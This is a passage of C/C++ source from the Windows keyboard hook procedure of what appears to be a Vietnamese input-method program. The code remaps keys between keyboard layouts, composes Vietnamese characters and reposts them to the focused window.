		if (wParam != PasteKey1 && wParam != PasteKey2 && !(lParam & IsReleased)) {
			// postpone this key
			keybd_event(wParam, 
						HIBYTE(LOWORD(lParam)), 
						(lParam & IsExtended)? KEYEVENTF_EXTENDEDKEY : 0,
						0);
			return 1;
		}
		if (wParam == PasteKey2 && (lParam & IsReleased)) {
			ClearClipboard();
		}
	}

	if (CheckBack(wParam))	return 1;
	if ((pShMem->vietKey  || (pShMem->options.macroEnabled && pShMem->options.alwaysMacro)) && 
		(code == HC_ACTION) && !(lParam & IsReleased)) {
//		if (CheckBack(wParam))	return 1;
		if (PuttingBacks) {
			if (wParam != VK_BACK) {
				keybd_event(wParam, 
						HIBYTE(LOWORD(lParam)), 
						(lParam & IsExtended)? KEYEVENTF_EXTENDEDKEY : 0,
						0);
				return 1;
			}
			return CallNextHookEx(pShMem->keyHook,code,wParam,lParam);
		}

		if (pShMem->keyMode != WINCP1258_CHARSET &&	LayoutChangeForced) {
			ActivateKeyboardLayout(OriginalLayout, 0);
			LayoutChangeForced = 0;
		}

		//		HKL curLayout = GetKeyboardLayout(0);
		if (((KeyState[VK_CONTROL] & 0x80) == 0 && (KeyState[VK_MENU] & 0x80) == 0) ||
			( curLayout != UsKeyboardLayout && ClipboardIsEmpty)) {
			 //(pShMem->inMethod == VIQR_INPUT || pShMem->inMethod == VIQR_STAR_INPUT) &&
			int remap = 0;
			keyType = ToAscii(wParam,UINT(HIWORD(lParam)),KeyState, &charBuf, 0);

			if (keyType == 1 && UsKeyboardLayout && ViKeyboardLayout && 
				(KeyState[VK_CONTROL] & 0x80) == 0 && 
				(KeyState[VK_MENU] & 0x80) == 0 &&
				curLayout == ViKeyboardLayout) {
				//need to remap
				unsigned short mappedChar;
				int res = ToAsciiEx(wParam, UINT(HIWORD(lParam)), KeyState, &mappedChar, 0, UsKeyboardLayout);
				if (res == 1 && ((unsigned char)mappedChar) != ((unsigned char)charBuf)) {
					charBuf = mappedChar;
					remap = 1;
				}
			}

			if (keyType == 1 || keyType < 0) {
				unsigned char c = (unsigned char)charBuf;
				if (wParam >= VK_NUMPAD0 && wParam <= VK_NUMPAD9)
					VnKbd.putChar(c); // don't process numeric keypad
				else {
					VnKbd.process(c);
					if (VnKbd.backs!=0 || VnKbd.keysPushed!=0) {
						if (keyType < 0) //dead key, one more back
							VnKbd.backs++;
						PushBacks();
						return 1;
					}
					if (remap) {
						SHORT scanCode = VkKeyScan((unsigned char)charBuf);
						lParam = (scanCode << 16) + 1;
						PostMessage(GetFocus(), (pShMem->options.useIME)? WM_IME_CHAR : WM_CHAR,
									(unsigned char)charBuf, lParam);
						return 1;
					}
				}
			}
			else {
				if (wParam!=VK_SHIFT && wParam!=VK_INSERT && 
					  wParam != VK_MENU &&
					  wParam != VK_CONTROL &&
					  ClipboardIsEmpty) {
					ResetBuffer();
				}
			}
		}
		else {
			if (wParam != VK_MENU && wParam != VK_CONTROL && ClipboardIsEmpty) {
				ResetBuffer();
			}
		}
	}
	else if ((code == HC_ACTION) && !(lParam & IsReleased)) {
		if (LayoutChangeForced && OriginalLayout && 
			GetKeyboardLayout(0) == ViKeyboardLayout && 
			OriginalLayout != ViKeyboardLayout) {

			ActivateKeyboardLayout(OriginalLayout, 0);
			LayoutChangeForced = 0;

			if (ToAsciiEx(wParam, UINT(HIWORD(lParam)), KeyState, &charBuf, 0, OriginalLayout) == 1) {
				SHORT scanCode = VkKeyScan((unsigned char)charBuf);
				lParam = (scanCode << 16) + 1;
				PostMessage(GetFocus(), (pShMem->options.useIME)? WM_IME_CHAR : WM_CHAR,
							(unsigned char)charBuf, lParam);
				return 1;
			}
		}
	}

	return CallNextHookEx(pShMem->keyHook,code,wParam,lParam);
}